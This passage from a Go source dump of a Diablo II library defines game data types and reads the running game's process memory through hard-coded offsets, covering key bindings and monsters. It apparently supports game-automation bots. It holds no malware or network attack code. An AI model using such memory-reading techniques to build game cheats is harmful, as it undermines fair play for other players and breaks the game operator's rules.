199, 198, 177, 178, 201, 202, 200, 331, 245, 264, 255, 176, 154 | 252, 254, 253, 297, 246, 251, 367, 521, 257, 405, 265, 520, 512, 518, 527, 515, 513, 511, 514, 266, 408, 406: 155 | return true 156 | } 157 | 158 | return false 159 | } 160 | 161 | func (m Monster) IsElite() bool { 162 | return m.Type == MonsterTypeMinion || m.Type == MonsterTypeUnique || m.Type == MonsterTypeChampion || m.Type == MonsterTypeSuperUnique 163 | } 164 | 165 | // IsMonsterRaiser returns true if the monster is able to spawn new monsters. 166 | func (m Monster) IsMonsterRaiser() bool { 167 | switch m.Name { 168 | case npc.FallenShaman, 169 | npc.CarverShaman, 170 | npc.DevilkinShaman, 171 | npc.DarkShaman, 172 | npc.WarpedShaman: 173 | return true 174 | } 175 | 176 | return false 177 | } 178 | 179 | // IsSkip monster can not be killed as a normal enemy, for example can not be targeted 180 | func (m Monster) IsSkip() bool { 181 | switch m.Name { 182 | case npc.WaterWatcherLimb, npc.WaterWatcherHead, npc.BaalTaunt, npc.Act5Combatant, npc.Act5Combatant2, npc.BarricadeTower, npc.DarkWanderer, npc.POW: 183 | return true 184 | } 185 | 186 | return false 187 | } 188 | func (m Monster) IsSealBoss() bool { 189 | 190 | return (m.Type == MonsterTypeSuperUnique || m.Type == MonsterTypeMinion) && (m.Name == npc.OblivionKnight || (m.Name == npc.DoomKnight) || // Lord De Seis 191 | m.Name == npc.VenomLord || // Infector of Souls 192 | m.Name == npc.StormCaster) // Grand Vizier of Chaos 193 | } 194 | 195 | // IsEscapingType Monster cannot be attacked when airborne or hide in water (NpcMode 8) 196 | func (m Monster) IsEscapingType() bool { 197 | switch m.Name { 198 | case npc.CarrionBird, npc.CarrionBird2, npc.WaterWatcherLimb, npc.RiverStalkerLimb, npc.StygianWatcherLimb, 199 | npc.WaterWatcherHead, npc.RiverStalkerHead, npc.StygianWatcherHead, npc.CloudStalker, npc.Sucker, npc.UndeadScavenger, npc.FoulCrow: 200 | 201 | return true 202 | } 203 | return false 204 | } 205 | -------------------------------------------------------------------------------- /pkg/data/object/description.go: -------------------------------------------------------------------------------- 1 | package object 2 | 3 | type Description struct { 4 | ID int 5 | Name string 6 | SizeX int 7 | SizeY int 8 | HasCollision bool 9 | Left int 10 | Top int 11 | Width int 12 | Height int 13 | Xoffset int 14 | Yoffset int 15 | } 16 | -------------------------------------------------------------------------------- /pkg/data/object/interact_type.go: -------------------------------------------------------------------------------- 1 | package object 2 | 3 | type InteractType uint 4 | 5 | const ( 6 | InteractTypeNone InteractType = 0x00 7 | InteractTypeTrap InteractType = 0x04 8 | InteractTypeLocked InteractType = 0x80 9 | ) 10 | -------------------------------------------------------------------------------- /pkg/data/object/portal_type.go: -------------------------------------------------------------------------------- 1 | package object 2 | 3 | import "github.com/notedhouse/d2go/pkg/data/area" 4 | 5 | type PortalData struct { 6 | DestArea area.ID 7 | //there is more to discover 8 | } 9 | -------------------------------------------------------------------------------- /pkg/data/object/shrine_type.go: -------------------------------------------------------------------------------- 1 | package object 2 | 3 | type ShrineType uint 4 | 5 | type ShrineData struct { 6 | ShrineName string 7 | ShrineType ShrineType 8 | } 9 | 10 | const ( 11 | RefillShrine ShrineType = 0x01 12 | HealthShrine ShrineType = 0x02 13 | ManaShrine ShrineType = 0x03 14 | HPXChangeShrine ShrineType = 0x04 15 | ManaXChangeShrine ShrineType = 0x05 16 | ArmorShrine ShrineType = 0x06 17 | CombatShrine ShrineType = 0x07 18 | ResistFireShrine ShrineType = 0x08 19 | ResistColdShrine ShrineType = 0x09 20 | ResistLightningShrine ShrineType = 0x0A 21 | ResistPoisonShrine ShrineType = 0x0B 22 | SkillShrine ShrineType = 0x0C 23 | ManaRegenShrine ShrineType = 0x0D 24 | StaminaShrine ShrineType = 0x0E 25 | ExperienceShrine ShrineType = 0x0F 26 | UnknownShrine ShrineType = 0x10 27 | PortalShrine ShrineType = 0x11 28 | GemShrine ShrineType = 0x12 29 | FireShrine ShrineType = 0x13 30 | MonsterShrine ShrineType = 0x14 31 | ExplosiveShrine ShrineType = 0x15 32 | PoisonShrine ShrineType = 0x16 33 | ) 34 | 35 | var ShrineTypeNames = map[ShrineType]string{ 36 | RefillShrine: "Refill Shrine", 37 | HealthShrine: "Health Shrine", 38 | ManaShrine: "Mana Shrine", 39 | HPXChangeShrine: "HP XChange Shrine", 40 | ManaXChangeShrine: "Mana XChange Shrine", 41 | ArmorShrine: "Armor Shrine", 42 | CombatShrine: "Combat Shrine", 43 | ResistFireShrine: "Resist Fire Shrine", 44 | ResistColdShrine: "Resist Cold Shrine", 45 | ResistLightningShrine: "Resist Lightning Shrine", 46 | ResistPoisonShrine: "Resist Poison Shrine", 47 | SkillShrine: "Skill Shrine", 48 | ManaRegenShrine: "Mana Regen Shrine", 49 | StaminaShrine: "Stamina Shrine", 50 | ExperienceShrine: "Experience Shrine", 51 | UnknownShrine: "Unknown Shrine", 52 | PortalShrine: "Portal Shrine", 53 | GemShrine: "Gem Shrine", 54 | FireShrine: "Fire Shrine", 55 | MonsterShrine: "Monster Shrine", 56 | ExplosiveShrine: "Explosive Shrine", 57 | PoisonShrine: "Poison Shrine", 58 | } 59 | -------------------------------------------------------------------------------- /pkg/data/objects.go: -------------------------------------------------------------------------------- 1 | package data 2 | 3 | import ( 4 | "github.com/notedhouse/d2go/pkg/data/mode" 5 | "github.com/notedhouse/d2go/pkg/data/object" 6 | ) 7 | 8 | type Object struct { 9 | ID UnitID 10 | object.Name 11 | IsHovered bool 12 | Selectable bool 13 | InteractType object.InteractType 14 | Shrine object.ShrineData 15 | Position Position 16 | Owner string 17 | Mode mode.ObjectMode 18 | PortalData object.PortalData 19 | } 20 | 21 | type Objects []Object 22 | 23 | func (o Objects) FindOne(name object.Name) (Object, bool) { 24 | for _, obj := range o { 25 | if obj.Name == name { 26 | return obj, true 27 | } 28 | } 29 | return Object{}, false 30 | } 31 | 32 | func (o Objects) FindByID(id UnitID) (Object, bool) { 33 | for _, obj := range o { 34 | if obj.ID == id { 35 | return obj, true 36 | } 37 | } 38 | return Object{}, false 39 | } 40 | 41 | func (o Object) IsShrine() bool { 42 | switch o.Shrine.ShrineType { 43 | case object.RefillShrine, 44 | object.HealthShrine, 45 | object.ManaShrine, 46 | object.HPXChangeShrine, 47 | object.ManaXChangeShrine, 48 | object.ArmorShrine, 49 | object.CombatShrine, 50 | object.ResistFireShrine, 51 | object.ResistColdShrine, 52 | object.ResistLightningShrine, 53 | object.ResistPoisonShrine, 54 | object.SkillShrine, 55 | object.ManaRegenShrine, 56 | object.StaminaShrine, 57 | object.ExperienceShrine, 58 | object.UnknownShrine, 59 | object.PortalShrine, 60 | object.GemShrine, 61 | object.FireShrine, 62 | object.MonsterShrine, 63 | object.ExplosiveShrine, 64 | object.PoisonShrine: 65 | return true 66 | } 67 | return false 68 | } 69 | func (o Object) IsWaypoint() bool { 70 | switch o.Name { 71 | case object.WaypointPortal, 72 | object.Act1WildernessWaypoint, 73 | object.Act2Waypoint, 74 | object.Act3TownWaypoint, 75 | object.PandamoniumFortressWaypoint, 76 | object.Act2CellerWaypoint, 77 | object.Act2SewerWaypoint, 78 | object.Act3TravincalWaypoint, 79 | object.ValleyWaypoint, 80 | object.WorldstoneWaypoint, 81 | object.ExpansionWildernessWaypoint, 82 | object.IceCaveWaypoint, 83 | object.TempleWaypoint, 84 | object.InnerHellWaypoint, 85 | object.WaypointH, 86 | object.ExpansionWaypoint: 87 | return true 88 | } 89 | return false 90 | } 91 | 92 | func (o Object) IsPortal() bool { 93 | return o.Name == object.TownPortal 94 | } 95 | 96 | func (o Object) IsRedPortal() bool { 97 | return o.Name == object.PermanentTownPortal 98 | } 99 | 100 | func (o Object) IsChest() bool { 101 | switch o.Name { 102 | case 1, 3, 5, 6, 50, 51, 53, 54, 55, 56, 57, 58, 79, 87, 88, 89, 104, 105, 106, 107, 125, 126, 127, 128, 139, 140, 141, 103 | 144, 146, 147, 148, 154, 155, 158, 159, 169, 171, 174, 175, 176, 177, 178, 181, 182, 183, 185, 186, 187, 188, 198, 104 | 203, 204, 205, 223, 224, 225, 240, 241, 242, 243, 244, 247, 248, 266, 268, 270, 271, 272, 274, 284, 314, 315, 316, 105 | 317, 326, 329, 330, 331, 332, 333, 334, 335, 336, 354, 355, 356, 360, 371, 372, 380, 381, 383, 384, 387, 388, 389, 106 | 390, 391, 397, 405, 406, 407, 413, 416, 420, 424, 425, 430, 431, 432, 433, 454, 455, 463, 466, 485, 486, 487, 501, 107 | 502, 504, 505, 518, 524, 525, 526, 529, 530, 531, 532, 533, 534, 535, 540, 541, 544, 545, 556, 580, 581: 108 | return true 109 | } 110 | return false 111 | } 112 | func (o Object) IsDoor() bool { 113 | switch o.Name { 114 | case object.DoorCathedralLeft, 115 | object.DoorCathedralRight, 116 | object.DoorCathedralDouble, 117 | object.DoorCourtyardLeft, 118 | object.DoorCourtyardRight, 119 | object.DoorGateLeft, 120 | object.DoorGateRight, 121 | object.DoorMonasteryDoubleRight, 122 | object.DoorWoodenLeft, 123 | object.DoorWoodenLeft2, 124 | object.DoorWoodenRight, 125 | object.IronGrateDoorLeft, 126 | object.IronGrateDoorRight, 127 | object.SlimeDoor1, 128 | object.SlimeDoor2, 129 | object.TombDoorLeft, 130 | object.TombDoorLeft2, 131 | object.TombDoorRight, 132 | object.TombDoorRight2, 133 | object.WoodenDoorLeft, 134 | object.WoodenDoorRight, 135 | object.WoodenGrateDoorLeft, 136 | object.WoodenGrateDoorRight, 137 | object.AndarielDoor, 138 | object.PenBreakableDoor, 139 | object.ArreatSummitDoorToWorldstone, 140 | object.SecretDoor1, 141 | object.ExpansionTownGate: 142 | return true 143 | } 144 | return false 145 | } 146 | 147 | func (o Object) IsSuperChest() bool { 148 | switch o.Name { 149 | case 104, 105, 106, 107, 181, 183, 580, 397, 387, 389, 390, 391, 455: 150 | return true 151 | } 152 | return false 153 | } 154 | -------------------------------------------------------------------------------- /pkg/data/quest/quest.go: -------------------------------------------------------------------------------- 1 | package quest 2 | 3 | type Quest int16 4 | type Status int16 5 | type States []Status 6 | 7 | func (s States) Completed() bool { 8 | return s.HasStatus(StatusUpdateQuestLogCompleted) || s.HasStatus(StatusPrimaryGoalCompleted) || s.HasStatus(StatusUnknown1) || s.HasStatus(StatusUnknown2) 9 | } 10 | 11 | func (s States) HasStatus(st Status) bool { 12 | for _, state := range s { 13 | if state == st { 14 | return true 15 | } 16 | } 17 | 18 | return false 19 | } 20 | 21 | // Note that quest order isnt what is represented visually in game 22 | const ( 23 | Act1DenOfEvil Quest = iota 24 | Act1SistersBurialGrounds 25 | Act1ToolsOfTheTrade 26 | Act1TheSearchForCain 27 | Act1TheForgottenTower 28 | Act1SistersToTheSlaughter 29 | Act2RadamentsLair 30 | Act2TheHoradricStaff 31 | Act2TaintedSun 32 | Act2ArcaneSanctuary 33 | Act2TheSummoner 34 | Act2TheSevenTombs 35 | Act3LamEsensTome 36 | Act3KhalimsWill 37 | Act3BladeOfTheOldReligion 38 | Act3TheGoldenBird 39 | Act3TheBlackenedTemple 40 | Act3TheGuardian 41 | Act4TheFallenAngel 42 | Act4HellForge 43 | Act4TerrorsEnd 44 | Act5SiegeOnHarrogath 45 | Act5RescueOnMountArreat 46 | Act5PrisonOfIce 47 | Act5BetrayalOfHarrogath 48 | Act5RiteOfPassage 49 | Act5EveOfDestruction 50 | ) 51 | 52 | type Quests map[Quest]States 53 | -------------------------------------------------------------------------------- /pkg/data/quest/status.go: -------------------------------------------------------------------------------- 1 | package quest 2 | 3 | const ( 4 | StatusQuestNotStarted Status = iota 5 | StatusInProgress1 6 | StatusInProgress2 7 | StatusInProgress3 8 | StatusInProgress4 9 | StatusInProgress5 10 | StatusInProgress6 11 | StatusInProgress8 12 | StatusInProgress9 13 | StatusInProgress10 14 | StatusUpdateQuestLogCompleted 15 | StatusPrimaryGoalCompleted 16 | StatusUnknown1 17 | StatusUnknown2 18 | ) 19 | -------------------------------------------------------------------------------- /pkg/data/stat/immune.go: -------------------------------------------------------------------------------- 1 | package stat 2 | 3 | type Resist string 4 | 5 | const ( 6 | ColdImmune Resist = "cold" 7 | FireImmune Resist = "fire" 8 | LightImmune Resist = "light" 9 | PoisonImmune Resist = "poison" 10 | MagicImmune Resist = "magic" 11 | ) 12 | -------------------------------------------------------------------------------- /pkg/data/state/states.go: -------------------------------------------------------------------------------- 1 | package state 2 | 3 | type States []State 4 | 5 | func (s States) HasState(state State) bool { 6 | for _, st := range s { 7 | if st == state { 8 | return true 9 | } 10 | } 11 | 12 | return false 13 | } 14 | 15 | type State uint 16 | 17 | const ( 18 | None State = iota 19 | Freeze 20 | Poison 21 | Resistfire 22 | Resistcold 23 | Resistlightning 24 | Resistmagic 25 | Playerbody 26 | Resistall 27 | Amplifydamage 28 | Frozenarmor 29 | Cold 30 | Inferno 31 | Blaze 32 | Bonearmor 33 | Concentrate 34 | Enchant 35 | Innersight 36 | SkillMove 37 | Weaken 38 | Chillingarmor 39 | Stunned 40 | Spiderlay 41 | Dimvision 42 | Slowed 43 | Fetishaura 44 | Shout 45 | Taunt 46 | Conviction 47 | Convicted 48 | Energyshield 49 | Venomclaws 50 | Battleorders 51 | Might 52 | Prayer 53 | Holyfire 54 | Thorns 55 | Defiance 56 | Thunderstorm 57 | Lightningbolt 58 | Blessedaim 59 | Stamina 60 | Concentration 61 | Holywind 62 | Holywindcold 63 | Cleansing 64 | Holyshock 65 | Sanctuary 66 | Meditation 67 | Fanaticism 68 | Redemption 69 | Battlecommand 70 | Preventheal 71 | Conversion 72 | Uninterruptable 73 | Ironmaiden 74 | Terror 75 | Attract 76 | Lifetap 77 | Confuse 78 | Decrepify 79 | Lowerresist 80 | Openwounds 81 | Dopplezon 82 | Criticalstrike 83 | Dodge 84 | Avoid 85 | Penetrate 86 | Evade 87 | Pierce 88 | Warmth 89 | Firemastery 90 | Lightningmastery 91 | Coldmastery 92 | Blademastery 93 | Axemastery 94 | Macemastery 95 | Polearmmastery 96 | Throwingmastery 97 | Spearmastery 98 | Increasedstamina 99 | Ironskin 100 | Increasedspeed 101 | Naturalresistance 102 | Fingermagecurse 103 | Nomanaregen 104 | Justhit 105 | Slowmissiles 106 | Shiverarmor 107 | Battlecry 108 | Blue 109 | Red 110 | DeathDelay 111 | Valkyrie 112 | Frenzy 113 | Berserk 114 | Revive 115 | Itemfullset 116 | Sourceunit 117 | Redeemed 118 | Healthpot 119 | Holyshield 120 | JustPortaled 121 | Monfrenzy 122 | CorpseNodraw 123 | Alignment 124 | Manapot 125 | Shatter 126 | SyncWarped 127 | ConversionSave 128 | Pregnant 129 | State111 130 | Rabies 131 | DefenseCurse 132 | BloodMana 133 | Burning 134 | Dragonflight 135 | Maul 136 | CorpseNoselect 137 | Shadowwarrior 138 | Feralrage 139 | Skilldelay 140 | Tigerstrike 141 | Cobrastrike 142 | Phoenixstrike 143 | Fistsoffire 144 | Bladesofice 145 | Clawsofthunder 146 | ShrineArmor 147 | ShrineCombat 148 | ShrineResistLightning 149 | ShrineResistFire 150 | ShrineResistCold 151 | ShrineResistPoison 152 | ShrineSkill 153 | ShrineManaRegen 154 | ShrineStamina 155 | ShrineExperience 156 | FenrisRage 157 | Wolf 158 | Bear 159 | Bloodlust 160 | Changeclass 161 | Attached 162 | Hurricane 163 | Armageddon 164 | Invis 165 | Barbs 166 | Wolverine 167 | Oaksage 168 | VineBeast 169 | Cyclonearmor 170 | Clawmastery 171 | CloakOfShadows 172 | Recycled 173 | Weaponblock 174 | Cloaked 175 | Quickness 176 | Bladeshield 177 | Fade 178 | Summonresist 179 | Oaksagecontrol 180 | Wolverinecontrol 181 | Barbscontrol 182 | Debugcontrol 183 | Itemset1 184 | Itemset2 185 | Itemset3 186 | Itemset4 187 | Itemset5 188 | Itemset6 189 | Runeword 190 | Restinpeace 191 | Corpseexp 192 | Whirlwind 193 | Fullsetgeneric 194 | Monsterset 195 | Delerium 196 | Antidote 197 | Thawing 198 | Staminapot 199 | PassiveResistfire 200 | PassiveResistcold 201 | PassiveResistltng 202 | Uberminion 203 | Cooldown 204 | Sharedstash 205 | Hidedead 206 | ) 207 | -------------------------------------------------------------------------------- /pkg/memory/addresses.go: -------------------------------------------------------------------------------- 1 | package memory 2 | 3 | const ( 4 | tzOffline = 0x22D6D44 5 | tzOnline = 0x29CCAF0 6 | ) 7 | -------------------------------------------------------------------------------- /pkg/memory/game_reader_test.go: -------------------------------------------------------------------------------- 1 | package memory 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/require" 7 | ) 8 | 9 | func BenchmarkDataReader(b *testing.B) { 10 | process, err := NewProcess() 11 | require.NoError(b, err) 12 | 13 | gr := NewGameReader(process) 14 | gr.GetData() 15 | 16 | b.ResetTimer() 17 | for n := 0; n < b.N; n++ { 18 | gr.GetData() 19 | } 20 | } 21 | 22 | func BenchmarkPF(b *testing.B) { 23 | process, err := NewProcess() 24 | require.NoError(b, err) 25 | 26 | gr := NewGameReader(process) 27 | gr.GetData() 28 | 29 | b.ResetTimer() 30 | for n := 0; n < b.N; n++ { 31 | gr.GetData() 32 | } 33 | 34 | } 35 | -------------------------------------------------------------------------------- /pkg/memory/keybindings.go: -------------------------------------------------------------------------------- 1 | package memory 2 | 3 | import ( 4 | "encoding/binary" 5 | 6 | "github.com/notedhouse/d2go/pkg/data" 7 | "github.com/notedhouse/d2go/pkg/data/skill" 8 | ) 9 | 10 | func (gd *GameReader) GetKeyBindings() data.KeyBindings { 11 | blob := gd.ReadBytesFromMemory(gd.moduleBaseAddressPtr+0x1DFFAF4, 0x500) 12 | blobSkills := gd.ReadBytesFromMemory(gd.moduleBaseAddressPtr+0x2228030, 0x500) 13 | 14 | skillsKB := [16]data.SkillBinding{} 15 | for i := 0; i < 7; i++ { 16 | skillsKB[i] = data.SkillBinding{ 17 | SkillID: skill.ID(binary.LittleEndian.Uint32(blobSkills[i*0x1c : i*0x1c+4])), 18 | KeyBinding: data.KeyBinding{ 19 | Key1: [2]byte{blob[0x118+(i*0x14)], blob[0x119+(i*0x14)]}, 20 | Key2: [2]byte{blob[0x122+(i*0x14)], blob[0x123+(i*0x14)]}, 21 | }, 22 | } 23 | } 24 | for i := 0; i < 9; i++ { 25 | skillIdx := i + 7 26 | skillsKB[skillIdx] = data.SkillBinding{ 27 | SkillID: skill.ID(binary.LittleEndian.Uint32(blobSkills[skillIdx*0x1c : skillIdx*0x1c+4])), 28 | KeyBinding: data.KeyBinding{ 29 | Key1: [2]byte{blob[0x384+(i*0x14)], blob[0x385+(i*0x14)]}, 30 | Key2: [2]byte{blob[0x38e+(i*0x14)], blob[0x38f+(i*0x14)]}, 31 | }, 32 | } 33 | } 34 | 35 | belt := [4]data.KeyBinding{} 36 | for i := 0; i < 4; i++ { 37 | belt[i] = data.KeyBinding{ 38 | Key1: [2]byte{blob[0x1b8+(i*0x14)], blob[0x1b9+(i*0x14)]}, 39 | Key2: [2]byte{blob[0x1c2+(i*0x14)], blob[0x1c3+(i*0x14)]}, 40 | } 41 | } 42 | 43 | return data.KeyBindings{ 44 | CharacterScreen: data.KeyBinding{ 45 | Key1: [2]byte{blob[0x00], blob[0x01]}, 46 | Key2: [2]byte{blob[0xa], blob[0xb]}, 47 | }, 48 | Inventory: data.KeyBinding{ 49 | Key1: [2]byte{blob[0x14], blob[0x15]}, 50 | Key2: [2]byte{blob[0x1e], blob[0x1f]}, 51 | }, 52 | HoradricCube: data.KeyBinding{ 53 | Key1: [2]byte{blob[0x4b0], blob[0x4b1]}, 54 | Key2: [2]byte{blob[0x4ba], blob[0x4bb]}, 55 | }, 56 | PartyScreen: data.KeyBinding{ 57 | Key1: [2]byte{blob[0x28], blob[0x29]}, 58 | Key2: [2]byte{blob[0x32], blob[0x33]}, 59 | }, 60 | MercenaryScreen: data.KeyBinding{ 61 | Key1: [2]byte{blob[0x438], blob[0x439]}, 62 | Key2: [2]byte{blob[0x442], blob[0x443]}, 63 | }, 64 | MessageLog: data.KeyBinding{ 65 | Key1: [2]byte{blob[0x3c], blob[0x3d]}, 66 | Key2: [2]byte{blob[0x46], blob[0x47]}, 67 | }, 68 | QuestLog: data.KeyBinding{ 69 | Key1: [2]byte{blob[0x50], blob[0x51]}, 70 | Key2: [2]byte{blob[0x5a], blob[0x5b]}, 71 | }, 72 | HelpScreen: data.KeyBinding{ 73 | Key1: [2]byte{blob[0x78], blob[0x79]}, 74 | Key2: [2]byte{blob[0x82], blob[0x83]}, 75 | }, 76 | SkillTree: data.KeyBinding{ 77 | Key1: [2]byte{blob[0xf0], blob[0xf1]}, 78 | Key2: [2]byte{blob[0xfa], blob[0xfb]}, 79 | }, 80 | SkillSpeedBar: data.KeyBinding{ 81 | Key1: [2]byte{blob[0x104], blob[0x105]}, 82 | Key2: [2]byte{blob[0x10e], blob[0x10f]}, 83 | }, 84 | Skills: skillsKB, 85 | SelectPreviousSkill: data.KeyBinding{ 86 | Key1: [2]byte{blob[0x2f8], blob[0x2f9]}, 87 | Key2: [2]byte{blob[0x302], blob[0x303]}, 88 | }, 89 | SelectNextSkill: data.KeyBinding{ 90 | Key1: [2]byte{blob[0x30c], blob[0x30d]}, 91 | Key2: [2]byte{blob[0x316], blob[0x317]}, 92 | }, 93 | ShowBelt: data.KeyBinding{ 94 | Key1: [2]byte{blob[0x1a4], blob[0x1a5]}, 95 | Key2: [2]byte{blob[0x1ae], blob[0x1af]}, 96 | }, 97 | UseBelt: belt, 98 | SwapWeapons: data.KeyBinding{ 99 | Key1: [2]byte{blob[0x35c], blob[0x35d]}, 100 | Key2: [2]byte{blob[0x366], blob[0x367]}, 101 | }, 102 | Chat: data.KeyBinding{ 103 | Key1: [2]byte{blob[0x64], blob[0x65]}, 104 | Key2: [2]byte{blob[0x6e], blob[0x6f]}, 105 | }, 106 | Run: data.KeyBinding{ 107 | Key1: [2]byte{blob[0x294], blob[0x295]}, 108 | Key2: [2]byte{blob[0x29e], blob[0x29f]}, 109 | }, 110 | ToggleRunWalk: data.KeyBinding{ 111 | Key1: [2]byte{blob[0x2a8], blob[0x2a9]}, 112 | Key2: [2]byte{blob[0x2b2], blob[0x2b3]}, 113 | }, 114 | StandStill: data.KeyBinding{ 115 | Key1: [2]byte{blob[0x2bc], blob[0x2bd]}, 116 | Key2: [2]byte{blob[0x2c6], blob[0x2c7]}, 117 | }, 118 | ForceMove: data.KeyBinding{ 119 | Key1: [2]byte{blob[0x49c], blob[0x49d]}, 120 | Key2: [2]byte{blob[0x4a6], blob[0x4a7]}, 121 | }, 122 | ShowItems: data.KeyBinding{ 123 | Key1: [2]byte{blob[0x2d0], blob[0x2d1]}, 124 | Key2: [2]byte{blob[0x2da], blob[0x2db]}, 125 | }, 126 | ShowPortraits: data.KeyBinding{ 127 | Key1: [2]byte{blob[0x348], blob[0x349]}, 128 | Key2: [2]byte{blob[0x352], blob[0x353]}, 129 | }, 130 | Automap: data.KeyBinding{ 131 | Key1: [2]byte{blob[0x8c], blob[0x8d]}, 132 | Key2: [2]byte{blob[0x96], blob[0x97]}, 133 | }, 134 | CenterAutomap: data.KeyBinding{ 135 | Key1: [2]byte{blob[0xa0], blob[0xa1]}, 136 | Key2: [2]byte{blob[0xaa], blob[0xab]}, 137 | }, 138 | FadeAutomap: data.KeyBinding{ 139 | Key1: [2]byte{blob[0xb4], blob[0xb5]}, 140 | Key2: [2]byte{blob[0xbe], blob[0xbf]}, 141 | }, 142 | PartyOnAutomap: data.KeyBinding{ 143 | Key1: [2]byte{blob[0xc8], blob[0xc9]}, 144 | Key2: [2]byte{blob[0xd2], blob[0xd3]}, 145 | }, 146 | NamesOnAutomap: data.KeyBinding{ 147 | Key1: [2]byte{blob[0xdc], blob[0xdd]}, 148 | Key2: [2]byte{blob[0xe6], blob[0xe7]}, 149 | }, 150 | ToggleMiniMap: data.KeyBinding{ 151 | Key1: [2]byte{blob[0x370], blob[0x371]}, 152 | Key2: [2]byte{blob[0x37a], blob[0x37b]}, 153 | }, 154 | SayHelp: data.KeyBinding{ 155 | Key1: [2]byte{blob[0x208], blob[0x209]}, 156 | Key2: [2]byte{blob[0x212], blob[0x213]}, 157 | }, 158 | SayFollowMe: data.KeyBinding{ 159 | Key1: [2]byte{blob[0x21c], blob[0x21d]}, 160 | Key2: [2]byte{blob[0x226], blob[0x227]}, 161 | }, 162 | SayThisIsForYou: data.KeyBinding{ 163 | Key1: [2]byte{blob[0x230], blob[0x231]}, 164 | Key2: [2]byte{blob[0x23a], blob[0x23b]}, 165 | }, 166 | SayThanks: data.KeyBinding{ 167 | Key1: [2]byte{blob[0x244], blob[0x245]}, 168 | Key2: [2]byte{blob[0x24e], blob[0x24f]}, 169 | }, 170 | SaySorry: data.KeyBinding{ 171 | Key1: [2]byte{blob[0x258], blob[0x259]}, 172 | Key2: [2]byte{blob[0x262], blob[0x263]}, 173 | }, 174 | SayBye: data.KeyBinding{ 175 | Key1: [2]byte{blob[0x26c], blob[0x26d]}, 176 | Key2: [2]byte{blob[0x276], blob[0x277]}, 177 | }, 178 | SayNowYouDie: data.KeyBinding{ 179 | Key1: [2]byte{blob[0x280], blob[0x281]}, 180 | Key2: [2]byte{blob[0x28a], blob[0x28b]}, 181 | }, 182 | SayRetreat: data.KeyBinding{ 183 | Key1: [2]byte{blob[0x44c], blob[0x44d]}, 184 | Key2: [2]byte{blob[0x456], blob[0x457]}, 185 | }, 186 | ClearScreen: data.KeyBinding{ 187 | Key1: [2]byte{blob[0x2e4], blob[0x2e5]}, 188 | Key2: [2]byte{blob[0x2ee], blob[0x2ef]}, 189 | }, 190 | ClearMessages: data.KeyBinding{ 191 | Key1: [2]byte{blob[0x320], blob[0x321]}, 192 | Key2: [2]byte{blob[0x32a], blob[0x32b]}, 193 | }, 194 | Zoom: data.KeyBinding{ 195 | Key1: [2]byte{blob[0x474], blob[0x475]}, 196 | Key2: [2]byte{blob[0x47e], blob[0x47f]}, 197 | }, 198 | LegacyToggle: data.KeyBinding{ 199 | Key1: [2]byte{blob[0x488], blob[0x489]}, 200 | Key2: [2]byte{blob[0x492], blob[0x493]}, 201 | }, 202 | } 203 | } 204 | -------------------------------------------------------------------------------- /pkg/memory/monsters.go: -------------------------------------------------------------------------------- 1 | package memory 2 | 3 | import ( 4 | "sort" 5 | 6 | "github.com/notedhouse/d2go/pkg/data/mode" 7 | 8 | "github.com/notedhouse/d2go/pkg/data" 9 | "github.com/notedhouse/d2go/pkg/data/npc" 10 | "github.com/notedhouse/d2go/pkg/data/stat" 11 | "github.com/notedhouse/d2go/pkg/utils" 12 | ) 13 | 14 | func (gd *GameReader) Monsters(playerPosition data.Position, hover data.HoverData) data.Monsters { 15 | baseAddr := gd.Process.moduleBaseAddressPtr + gd.offset.UnitTable + 1024 16 | unitTableBuffer := gd.Process.ReadBytesFromMemory(baseAddr, 128*8) 17 | 18 | monsters := data.Monsters{} 19 | for i := 0; i < 128; i++ { 20 | monsterOffset := 8 * i 21 | monsterUnitPtr := uintptr(ReadUIntFromBuffer(unitTableBuffer, uint(monsterOffset), Uint64)) 22 | for monsterUnitPtr > 0 { 23 | // Quick corpse check first 24 | isCorpse := gd.Process.ReadUInt(monsterUnitPtr+0x1AE, Uint8) 25 | if isCorpse != 0 { 26 | monsterUnitPtr = uintptr(gd.Process.ReadUInt(monsterUnitPtr+0x158, Uint64)) 27 | continue 28 | } 29 | 30 | monsterDataBuffer := gd.Process.ReadBytesFromMemory(monsterUnitPtr, 144) 31 | txtFileNo := ReadUIntFromBuffer(monsterDataBuffer, 0x04, Uint32) 32 | unitID := ReadUIntFromBuffer(monsterDataBuffer, 0x08, Uint32) 33 | 34 | // Get stats early for filtering 35 | statsListExPtr := uintptr(ReadUIntFromBuffer(monsterDataBuffer, 0x88, Uint64)) 36 | statPtr := uintptr(gd.Process.ReadUInt(statsListExPtr+0x30, Uint64)) 37 | statCount := gd.Process.ReadUInt(statsListExPtr+0x38, Uint64) 38 | stats := gd.getMonsterStats(statCount, statPtr) 39 | 40 | if !gd.shouldBeIgnored(txtFileNo) || stats[stat.Experience] > 0 { 41 | monsterMode := mode.NpcMode(gd.Process.ReadUInt(monsterUnitPtr+0x0c, Uint32)) 42 | unitDataPtr := uintptr(ReadUIntFromBuffer(monsterDataBuffer, 0x10, Uint64)) 43 | flag := gd.Process.ReadBytesFromMemory(unitDataPtr+0x1A, Uint8)[0] 44 | //unitDataBuffer := gd.Process.ReadBytesFromMemory(unitDataPtr, 144) 45 | 46 | // Coordinates (X, Y) 47 | pathPtr := uintptr(gd.Process.ReadUInt(monsterUnitPtr+0x38, Uint64)) 48 | posX := gd.Process.ReadUInt(pathPtr+0x02, Uint16) 49 | posY := gd.Process.ReadUInt(pathPtr+0x06, Uint16) 50 | 51 | states := gd.GetStates(statsListExPtr) 52 | 53 | monsters = append(monsters, data.Monster{ 54 | UnitID: data.UnitID(unitID), 55 | Name: npc.ID(int(txtFileNo)), 56 | IsHovered: hover.IsHovered && hover.UnitType == 1 && hover.UnitID == data.UnitID(unitID), 57 | Position: data.Position{ 58 | X: int(posX), 59 | Y: int(posY), 60 | }, 61 | Stats: stats, 62 | Type: getMonsterType(flag), 63 | States: states, 64 | Mode: monsterMode, 65 | }) 66 | } 67 | 68 | monsterUnitPtr = uintptr(gd.Process.ReadUInt(monsterUnitPtr+0x158, Uint64)) 69 | } 70 | } 71 | 72 | if len(monsters) > 0 { 73 | sort.SliceStable(monsters, func(i, j int) bool { 74 | distanceI := utils.DistanceFromPoint(playerPosition, monsters[i].Position) 75 | distanceJ := utils.DistanceFromPoint(playerPosition, monsters[j].Position) 76 | return distanceI < distanceJ 77 | }) 78 | } 79 | 80 | return monsters 81 | } 82 | 83 | func (gd *GameReader) Corpses(playerPosition data.Position, hover data.HoverData) 